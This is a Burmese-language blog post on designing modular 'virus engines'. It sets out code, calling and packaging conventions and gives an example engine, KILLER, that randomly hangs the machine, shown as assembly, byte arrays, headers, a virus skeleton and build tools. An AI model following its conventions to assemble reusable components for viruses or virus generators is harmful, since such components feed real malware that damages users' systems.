www.luckymyotaw.com သို႕

photobucket ဒီဆိုဒ္ကို အလည္ေရာက္လာၾကတဲ့သူငယ္ခ်င္းမ်ားခင္ဗ်ာ..ဒီဆိုဒ္မွာက ပို႕စ္အသစ္ေတြ သိပ္မတင္ျဖစ္ေတာ့ဘူး...ပို႕စ္အသစ္ေတြ ဖတ္ခ်င္တယ္ဆိုရင္..www.luckymyotaw.com မွာ ၀င္ေရာက္ဖတ္ရွဳနုိင္ပါတယ္....

Saturday, May 18, 2013

VIRUS ENGINES

ENGINES

Engines ဆိုတာကေတာ့ binary နဲ႔ source ေတြကို ကိုယ္စားျပဳတဲ႔ လြတ္လပ္တဲ႔ viurs ေရးသားနည္း တစ္ခုျဖစ္ပါတယ္။


မိတ္ဆက္

Virus Engine ေတြဟာ C/C++ class ( object ) ေတြနဲ႔ အလြန္ပင္ဆင္တူၾကျပီး၊ တူညီတဲ႔ ဂုဏ္သတၱိေတြလည္း အမ်ားၾကီးရွိၾကပါတယ္။ ဒီဟာႏွစ္ခုလံုးဟာ modularity ကို တိုက္ရိုက္သြားပါတယ္။ တစ္ခုပဲ ကြာျခားမႈရွိတာပါတယ္... အဲဒါကေတာ့ Virus Engine က တိုက္ရိုက္ အေကာင္အထည္ေဖာ္ႏိုင္ျပီး C++ class ကေတာ့ ၾကားခံေပါင္းကူးေပးတဲ႔စနစ္က မ်ားျပားလွပါတယ္။
OOP (Object Oriented Programming ) ကို မိတ္ဆက္ေပးခဲ႔ျပီးသည္ကစလို႔ ယေန႔ဆိုရင္ Virus Engines ဟာ ႏွစ္ေပါင္းမ်ားစြာၾကာခဲ႔ျပီျဖစ္တဲ႔ Programs ေတြကဲ႔သို႔ တူညီတဲ႔ အဆင့္ကို ေရာက္ရွိလာပါျပီ။ ျပီးေတာ့ ယခုအခ်ိန္ဟာ ေျပာင္းလဲဖို႔အခ်ိန္လည္း ျဖစ္ေနပါျပီ။
ဒီ post ရဲ႕ လိုရင္းကေတာ့ Virus Engine ရဲ႕ အဆင္ေျပျပီး အသံုး၀င္တဲ႔ လကၡဏာရပ္ေတြကို ေဖာ္ျပေပးသြားမွာ ျဖစ္ပါတယ္။
Virus ေရးသားျခင္းမွာ လြတ္လပ္တဲ႔ေရးသားနည္းအစိတ္အပိုင္း(modules) မ်ားကို နားလည္ျပီးမွသာလွ်င္ ဒီထဲမွာပါတဲ႔ အေတြးအေခၚပိုင္းကို နားလည္နိုင္မွာျဖစ္ပါတယ္။ဒါ့အျပင္ ဒီpostထဲမွာ LDE32, KME's, ETG, CMIX, DSCRIPT, EXPO, RPME, CODEGEN, PRCG, MACHO နဲ႔ MISTFALL တို႔ရဲ႕ property အားလံုးနီးပါးကို ဒီpostတစ္ခုတည္းနဲ႔ ေဖာ္ျပေပးျပီးသား ျဖစ္သြားမွာ ျဖစ္ပါတယ္။ဒါေတာင္မွ အေရးၾကီးတဲ႔ စံသတ္မွတ္မႈေတြ အားလံုးကို ေဖာ္ျပထားတာမဟုတ္ပဲ စံသတ္မွတ္ဖို႔အတြက္ အနည္းငယ္ကိုသာ ေဖာ္ျပဖို႔ ၾကိဳးစားထားတာ ျဖစ္ပါတယ္။ ဒီေနရာမွာ စံသတ္မွတ္မႈဆိုတာ Engine ရဲ႕ ၾကားခံေပါင္းကူးစနစ္အပို္င္းမွာ လံုး၀နီးပါး သက္ေရာက္လႊမ္းမိုးမႈေတြကို ဆိုလိုတာျဖစ္ျပီး က်န္တဲ႔အပိုင္းေတြက အမ်ားအားျဖင့္ေတာ့ တူညီေနမွာ ျဖစ္ပါတယ္။ ေသခ်ာတာကေတာ့ အလုပ္လုပ္တာခ်င္း တူညီမႈရွိမွာမဟုတ္ပါဘူး။


Code


  • Engine မွာ executable code ေတြသာလွ်င္ ပါ၀င္ရပါမယ္။ ဆိုလိုတာကေတာ့ evident formေတြမွာ data ေတြမပါ၀င္ရပါဘူး။ ၄င္းဟာ code generation ထဲမွာ data ရဲ႕ means အားျဖင့္ စြမ္းေဆာင္ႏိုင္ရပါမယ္။
  • Engine မွာ absolute offset မ်ား မပါ၀င္ရပါဘူး။ ၄င္းဟာ stack နဲ႔ ဒီ structureသို႔ pointer ေျပာင္းေရႊ႕ လိုက္တဲ႔ ေပၚမွာ data structure ဖန္တီးျခင္းရဲ႕ means အားျဖင့္ စြမ္းေဆာင္ႏိုင္ရပါမယ္။
  • Engine မွာ external data structureမ်ား ကို တိုက္ရုိက္အသံုးမျပဳရပါဘူး။ external subroutineမ်ားကို တိုက္ရုိက္ CALL မလုပ္ရပါဘူး။ ၄င္းအစား data နဲ႔ suboroutineမ်ားသို႔ pointerမ်ားကို argumentမ်ားကဲ့သို႔ engine ဆီကို ျဖတ္ေက်ာ္လာေစရပါမယ္။
  • (ေရြးခ်ယ္မႈတစ္ခုအေနနဲ႔)Engine ကုိ system callမ်ား မျပဳလုပ္ေစရပါဘူး။ အဲဒီအစား own subroutineမ်ားသို႔ pointer မ်ားဟာ engine ကိုျဖတ္ေက်ာ္ရပါမယ္။ ျပီးရင္ engine က ၄င္းတို႔ကို ျဖတ္ေက်ာ္ျပီး system subroutine မ်ားကို CALL လုပ္ရပါမယ္။


PUBLIC-functions

  • Parameterမ်ားဟာ stack ေပၚမွာ ျဖတ္ေက်ာ္ေစရပါမယ္။ ( registerမ်ားထဲမွာ မဟုတ္ပါ။)
  • Function result ဟာ( လိုအပ္လွ်င္) EAX ထဲမွာ return ျဖစ္ရပါမယ္။
  • registerမ်ားအားလံုးကို ထိန္းသိမ္းထားရပါမယ္( EAX မွလြဲ၍)။
  • (ေရြးခ်ယ္မႈတစ္ခုအေနနဲ႔) function exit ေပၚမွာ DF flagဟာ 0 (သံုည) ျဖစ္ေစရပါမယ္။ (CLD)


Sources

  • အကယ္၍ Sourceမ်ား ရွိခဲ႔ရင္ Variables, arguments, constants, internal subroutines နဲ႔ အျခား name နဲ႔ lable မ်ားဟာ unique ျဖစ္ရပါမယ္။ user ရဲ႕ sourceမ်ား (သို႔) အျခား engineမ်ားထဲမွ label မ်ားနဲ႔ တထပ္တည္း မျဖစ္ေစရပါဘူး။
  • အကယ္၍ အခ်ိဳ႕ေသာ data structureမ်ား နဲ႔/သို႔ exit codes , engine call ထဲမွာ အသံုးျပဳျခင္း ရွိရင္ ၄င္းတို႔အားလံုးကို သီးျခား .INC file ထဲမွာ ေဖာ္ျပရပါမယ္။


Documentation

  • Engineဟာ documentionအခ်ိဳ႕ အားျဖင့္ ခ်ိတ္ဆက္ရပါမယ္။ ေအာက္မွာျပထားတဲ႔ဟာေတြလိုပဲ ေဖာ္ျပသင့္ပါတယ္...
  • Engine ၊ ၄င္းရဲ႕ algorithm ၊ ၄င္းရဲ႕ အဓိကရည္ရြယ္ခ်က္ ။ ဆိုလိုတာကေတာ့ ၄င္းဟာ ဘာအတြက္ရည္ရြယ္ျပီး ဘယ္လိုေတြ အလုပ္လုပ္သလဲ၊
  • PUBLIC-function အသီးသီးရဲ႕ ေဖာ္ျပခ်က္ နဲ႔ ၄င္းရဲ႕ parameter မ်ား၊
  • (ေရြးခ်ယ္မႈအားျဖင့္) bug မ်ား နဲ႔ အဂၤါရပ္မ်ား၊
  • (ေရြးခ်ယ္မႈအားျဖင့္) engine ကို ဘယ္မွာစမ္းသပ္ျပီးျပီလဲ၊ ၄င္းက ဘယ္မွအလုပ္လုပ္လဲ ၊ မလုပ္ဘူးလဲ။


အေကာင္းဆံုး နည္းလမ္း

  • Engine မွာ PUBLIC-function တစ္ခုတည္း ရွိပါတယ္။ engine ရဲ႕ code အစပုိင္းမွာ( အလယ္မွာျဖစ္ခ်င္ရင္ အစမွာ JMP ကိုသံုး။) ျဖစ္ျပီး ၄င္းရဲ႕ main function မွာ CDECL calling convection (PUSH*n, CALL, RETN, ADD ESP, n*4 ) ရွိပါတယ္။
  • Engine ဟာ on-stack data variableမ်ားကိုသာ အသံုးျပဳပါတယ္။ (argument မ်ားနဲ႔ variables space)
  • Engine ဟာ multithread enviroument ထဲမွာ အလုပ္လုပ္ပါတယ္။ (ဆိုလိုတာကေတာ့ external data structure မ်ားသို႔ pointer မ်ားဟာ engine ဆီကို ျဖတ္ေက်ာ္လာတဲ႔အခါ engine ရဲ႕ တိုးပြားလာတဲ႔ျဖစ္စဥ္ေတြဟာ အဲဒီ့ data structureမ်ားနဲ႔ မွန္မွန္ကန္ကန္ အလုပ္လုပ္ပါလိမ့္မယ္။)
  • Engine ဟာ .386 realmode opcodeမ်ားကို သာလွ်င္အသံုးျပဳပါတယ္။ (ဆိုလိုတာက အားလံုးတစ္ပန္းသာတယ္ (သို႔) .486+ opcodeမ်ား ၊ bswap (သို႔) cmpxchg ကဲ႔သို႔ ပ လပ္ႏိုင္တယ္။)


အက်ိဳးရလဒ္မ်ား

အထက္မွာေဖာ္ျပခဲ႔တဲ႔ အဂၤါရပ္မ်ား အားလံုးကိုအသံုးျပဳျခင္းအားျဖင့္ engine code ဟာ OS ၊ ring0/3 နဲ႔ engine တည္ရွိရာ offset မွ လြတ္ေျမာက္လာႏိုင္ပါလိမ့္မယ္။ code ကဲ႔သို႔ ေပါင္းစပ္ႏိုင္ပါလိမ့္မယ္...ဆိုလိုတာကေတာ့ ဘယ္ညႊန္ၾကားခ်က္မ်ားကိုမဆို အလြယ္တကူ စိစစ္ႏိုင္ျခင္း၊ ဖယ္ရွားႏိုင္ျခင္း နဲ႔/သို႔ အစားထိုးလဲလွယ္နိုင္ျခင္းမ်ား ျပဳလုပ္ႏိုင္ပါတယ္။ ဒီလိုမ်ား engineမ်ားရဲ႕ Code (သို႔) sourceမ်ားကို အျခား ဘယ္engineမ်ားမွာမဆို (သို႔) viruseမ်ား၊ virus constructorမ်ား (သို႔) generatorမ်ား (သို႔) virus pluginမ်ား ထဲသို႔ေျပာင္းထည့္ျခင္းမ်ား အားျဖင့္ လြယ္ကူစြာအသံုးျပဳႏိုင္ပါတယ္။
ဒါ့အျပင္ asm- ၊ cpp- code မ်ားနဲ႔ ခ်ိတ္ဆက္ထားတဲ႔ လုပ္ငန္းတာ၀န္မ်ားကိုလည္း .obj fileမ်ား အသံုးမျပဳပဲ ေျဖရွင္းႏိုင္ပါတယ္။


ဥပမာ

Engine : KILLER ။ ရည္မွန္းခ်က္ပန္းတိုင္ : 1/1000 ရဲ႕ ျဖစ္ႏိုင္ေျခနဲ႔ ဟန္႔တားထစ္ေနေစဖို႔ ။

----[begin KILLER.ASM]--------------------------------------------------
; KILLER engine version 1.00 FREEWARE
; action: hangup with probability of 1/1000;
; CDECL calling convention;
; 5 arguments;
; no return value, no registers modified
killer_engine proc c
arg user_param ; user-data
arg user_random ; external randomer
arg arg1
arg arg2 ; other parameters
arg arg3
pusha
cld
;;
push 1000
push user_param ; maybe ptr to some struct
call user_random ; call external subroutine
add esp, 8
;;
cmp eax, 666
je $
;;
popa
ret ; TASM produces LEAVE+RETN
endp
----[end KILLER.ASM]----------------------------------------------------

ASM include file ျဖစ္ေပၚေစပါတယ္...:

----[begin KILLER.INC]--------------------------------------------------
; GENERATED FILE. DO NOT EDIT.
; KILLER 1.00 engine
killer_engine_size equ 30
killer_engine:
db 0C8h,000h,000h,000h,060h,0FCh,068h,0E8h
db 003h,000h,000h,0FFh,075h,008h,0FFh,055h
db 00Ch,083h,0C4h,008h,03Dh,09Ah,002h,000h
db 000h,074h,0FEh,061h,0C9h,0C3h
----[end KILLER.INC]----------------------------------------------------

ေအာက္မွာေဖာ္ျပထားတာကလည္း အတူတူပါပဲ...ဒါေပမယ့္ C/C++ ထဲမွာ :

----[begin KILLER.CPP]--------------------------------------------------
// GENERATED FILE. DO NOT EDIT.
// KILLER 1.00 engine
#define killer_engine_size 30
BYTE killer_engine_bin[killer_engine_size] =
{
0xC8,0x00,0x00,0x00,0x60,0xFC,0x68,0xE8,
0x03,0x00,0x00,0xFF,0x75,0x08,0xFF,0x55,
0x0C,0x83,0xC4,0x08,0x3D,0x9A,0x02,0x00,
0x00,0x74,0xFE,0x61,0xC9,0xC3
};
----[end KILLER.CPP]----------------------------------------------------


ASM header file:

----[begin KILLER.ASH]--------------------------------------------------
; KILLER 1.00 engine
KILLER_VERSION equ 0100h
----[end KILLER.ASH]----------------------------------------------------


C/C++ header file:


----[begin KILLER.HPP]--------------------------------------------------
// KILLER 1.00 engine
#ifndef __KILLER_HPP__
#define __KILLER_HPP__

#define KILLER_VERSION 0x0100

typedef
void __cdecl killer_engine(
DWORD user_param, // user-parameter
DWORD __cdecl user_random(DWORD user_param, DWORD range),
DWORD arg1,
DWORD arg2,
DWORD arg3);

#endif //__KILLER_HPP__
----[end KILLER.HPP]----------------------------------------------------


အသံုးျပဳပံု ဥပမာ ၊ ASM ထဲတြင္...


----[begin EXAMPLE.ASM]-------------------------------------------------
; KILLER 1.00 usage example
include killer.ash

callW macro x
extern x:PROC
call x
endm

v_data struc
v_randseed dd ?
; ...
ends

p386
model flat
locals __

.data
dd ?
.code

start: call virus_code
push -1
callW ExitProcess

virus_code: pusha
sub esp, size v_data
mov ebp, esp
;;
callW GetTickCount
xor [ebp].v_randseed, eax ; randomize
;;
push 3
push 2 ; parameters
push 1
call 5+2 ; push pointer to randomer
jmp short my_random
push ebp ; user-param == v_data ptr
call killer_engine
add esp, 4*5
;;
add esp, size v_data
popa
retn

; DWORD __cdecl random(DWORD user_param, DWORD range)
; [esp+4] [esp+8]
my_random: mov ecx, [esp+4] ; v_data ptr
mov eax, [ecx].v_randseed
imul eax, 214013
add eax, 2531011
mov [ecx].v_randseed, eax
shr eax, 16
imul eax, [esp+8]
shr eax, 16
retn

;killer_engine:
include killer.inc

virus_size equ $-virus_code
end start
----[end EXAMPLE.ASM]---------------------------------------------------


အသံုးျပဳပံု ဥပမာ၊ C/C++ ထဲတြင္...


----[begin EXAMPLE.CPP]-------------------------------------------------
#include <windows.h>
#pragma hdrstop
#include "killer.hpp"
#include "killer.cpp"
struct v_struct
{
DWORD rseed;
//...
};
DWORD __cdecl my_random(DWORD user_arg, DWORD range)
{
v_struct* v = (v_struct*) user_arg;
return range ? (v->rseed = v->rseed * 214013 + 2531011) % range : 0;
}
void main()
{
v_struct* v_data = (v_struct*) GlobalAlloc( GPTR, sizeof(v_struct) );
v_data->rseed = GetTickCount(); // randomize
void* engine_ptr = &killer_engine_bin;
(*(killer_engine*)engine_ptr)((DWORD)v_data, my_random, 1,2,3);
}
----[end EXAMPLE.CPP]---------------------------------------------------


engine ကို compileျပဳလုပ္ရန္ ဥပမာ program


----[begin BUILD.ASM]---------------------------------------------------
p386
model flat
locals __
.data
db 0EBh,02h,0FFh,01h ; signature
include killer.asm
db 0EBh,02h,0FFh,02h ; signature
.code
start: push -1
callW ExitProcess
end start
----[end BUILD.ASM]-----------------------------------------------------



ယခင္ file မွ binary(DB,DB,...)ထဲတြင္ rip ျဖစ္ဖို႔ ဥပမာ program


----[begin HAXOR.CPP]---------------------------------------------------
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
#pragma hdrstop
void main()
{
FILE*f=fopen("build.exe","rb");
int bufsize = filelength(fileno(f));
BYTE* buf = new BYTE[bufsize+1];
fread(buf, 1,bufsize, f);
fclose(f);
int id1=0, id2=0;
for (int i=0; i<bufsize; i++)
{
if (*(DWORD*)&buf[i] == 0x01FF02EB) id1=i+4; // check signature
if (*(DWORD*)&buf[i] == 0x02FF02EB) id2=i; // check signature
}
f=fopen("killer.inc","wb");
fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");
fprintf(f,"; KILLER 1.00 engine\r\n");
fprintf(f,"killer_size equ %i\r\n", id2-id1);
fprintf(f,"killer_engine:\r\n", id2-id1);
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f,"db ");
fprintf(f,"0%02Xh", buf[id1+i]);
if (((i%8)==7)||(i==id2-id1-1)) fprintf(f,"\r\n"); else fprintf(f,",");
}
fclose(f);
f=fopen("killer.cpp","wb");
fprintf(f,"; GENERATED FILE. DO NOT EDIT.\r\n");
fprintf(f,"// KILLER 1.00 engine\r\n");
fprintf(f,"#define killer_engine_size %i\r\n",id2-id1);
fprintf(f,"BYTE killer_engine_bin[killer_engine_size] = {\r\n");
for (int i=0; i<id2-id1; i++)
{
if ((i%8)==0) fprintf(f," ");
fprintf(f,"0x%02X", buf[id1+i]);
if (i!=id2-id1-1) fprintf(f,",");
if ((i%8)==7) fprintf(f,"\r\n");
}
fprintf(f," };\r\n");
fclose(f);
}
----[end HAXOR.CPP]-----------------------------------------------------


အခုexample.asm ကိုၾကည့္ ၾကည့္ပါ ၄င္းဟာ ယခုေခတ္အသံုးျပဳေနတဲ႔ virus ေရွ႕ေျပးပံုစံတစ္ခုျဖစ္ပါတယ္။ အဲဒီfile မွာ engine အသံုးျပဳပါတယ္။ engineဟာ external randomer အသံုးျပီး randomer က virus ရဲ႕ main body ကို အသံုးျပဳဖို႔ျပင္ဆင္ျခင္းမွာ data ကိုဖ်တ္ထားတဲ႔ randseed ကိုအသံုးျပဳပါတယ္။ အက်ိဳးရလဒ္ကေတာ့ engine မ်ားဟာ တူညီတဲ႔ rnd() (သို႔) file io functionမ်ား (သို႔) main object နဲ႔တူညီတဲ႔ ၄င္းတို႔ရဲ႕ common structure မွတဆင့္ နည္းလမ္းတစ္ခုျဖင့္ အျခားအသီးသီးကို ေခၚႏိုင္ပါတယ္။

by notebookofstarryprince

0 comments:

Post a Comment

 

Blog Archive

လပ္ကီးျမိဳ႕ေတာ္